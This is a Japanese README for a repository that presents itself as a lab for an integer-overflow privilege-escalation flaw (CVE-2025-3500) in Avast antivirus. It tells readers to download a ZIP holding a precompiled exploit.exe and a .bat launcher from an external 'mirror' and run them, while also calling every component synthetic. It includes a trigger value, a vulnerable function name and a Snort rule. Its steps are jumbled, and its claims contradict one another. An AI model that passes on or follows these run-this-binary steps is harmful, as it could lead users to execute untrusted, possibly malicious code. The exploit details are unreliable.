
このリポジトリは、Windows プラットフォーム上の Avast アンチウイルス バージョン 25.1.981.6 における整数オーバーフロー脆弱性 (CWE-190) である CVE-2025-3500 を調査するためのラボ環境を提供します。この脆弱性は、アンチウイルスエンジンのリソース割り当てモジュールにおける整数検証の不備に起因し、算術演算中にラップアラウンドが発生します。これを悪用すると、低権限ユーザーコンテキスト (PR:L) からシステムレベルのアクセスへ権限を昇格でき、ネットワーク攻撃ベクトル (AV:N)、低い攻撃複雑性 (AC:L)、ユーザー操作の必要性 (UI:R) を伴います。CVSS 3.1 ベーススコアは 9.0 (Critical) で、スコープ変更 (S:C) により機密性、完全性、可用性 (すべて High) に影響を与え、システム全体の侵害を可能にする可能性があります。
教育目的の免責事項: このラボは教育および研究目的のみに提供されます。管理された環境を提供します。悪意のある活動には使用しないでください。すべてのコンポーネントは合成であり、実際のシステムを悪用するものではありません。このリポジトリを使用することで、倫理的ハッキングのガイドラインおよび現地の法律に従うことに同意したものとみなされます。
安全性に関する免責事項: このセットアップは、環境内でコードを実行することを伴います。必ず専用の仮想マシンを使用してください。本番システムでエクスプロイトを実行しないでください。提供されるエクスプロイト成果物 (.exe および .bat) は概念を示すためのものです。たとえば、.bat は .exe を起動し、.exe はデータを処理して終了します。偶発的な露出を防ぐために、ラボ環境を隔離してください。
エクスプロイトツールキット (exploit.exe と start-exploit.bat を含む ZIP ファイル) をダウンロードします。この ZIP は安全なミラーでホストされています:
注: メインのエクスプロイトは exploit.exe (巧妙に細工された API 呼び出しを介して整数オーバーフローをトリガーする、コンパイル済み C++ バイナリ) です。エクスプロイトランチャーは start-exploit.bat で、定義済みの引数 (例: start exploit.exe --target=avast_engine --overflow=wraparound) を指定して exploit.exe を起動します。C:\lab\exploit などのローカルディレクトリに解凍してください。
環境のセットアップ:
エクスプロイトのダウンロードと準備:
C:\lab\exploit に解凍します。start-exploit.bat を実行してエクスプロイトを起動します (これにより exploit.exe が開き、オーバーフローをトリガーする巧妙に細工されたネットワークパケットを送信します)。脆弱性の悪用:
exploit.exe を実行します。オーバーフローの兆候がないかシステムログを監視します。検証とクリーンアップ:
このラボには、Avast アンチウイルス 25.1.981.6 がインストールされた Windows マシンが必要です。モックサービスはコマンドプロンプトから手動で開始できます:
net start AvastSvc (サービスが実行中であると仮定)。exploit.exe を実行する start-exploit.bat を実行します。これにより:
{ "resource_alloc": 2147483648 } が送信されます (オーバーフローをトリガー)。技術的詳細: オーバーフローは AvastResourceParser::AllocateBuffer(int size) で発生します。ここで size * sizeof(struct) は、size > INT_MAX / sizeof(struct) の場合にラップアラウンドし、割り当て不足とヒープオーバーフローを引き起こします。悪用ではこれを利用して、kernel32.dll をターゲットとする ROP チェーンを構築します。
alert tcp any any -> any 8080 (msg:"CVE-2025-3500 Attempt"; content:"|00 00 00 80|"; sid:1000001;))。質問や貢献については、イシューを開いてください。倫理的に行動しましょう!